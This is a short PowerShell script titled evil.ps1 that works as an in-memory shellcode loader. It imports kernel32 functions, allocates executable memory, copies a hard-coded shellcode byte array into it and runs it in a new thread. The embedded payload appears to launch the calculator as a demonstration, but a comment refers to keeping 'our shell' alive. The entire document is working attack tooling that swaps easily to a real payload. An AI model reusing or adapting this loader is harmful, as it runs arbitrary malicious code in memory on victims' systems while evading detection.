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evil.ps1
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evil.ps1
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$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32", CharSet=CharSet.Ansi)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
"@
Add-Type $Kernel32
$buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x1,0x8d,0x85,0xb2,0x0,0x0,0x0,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0xa,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x0
$size = $buf.Length
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);
# We should add WaitForSingleObject, so that our shell won't get terminated before execution.
[Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")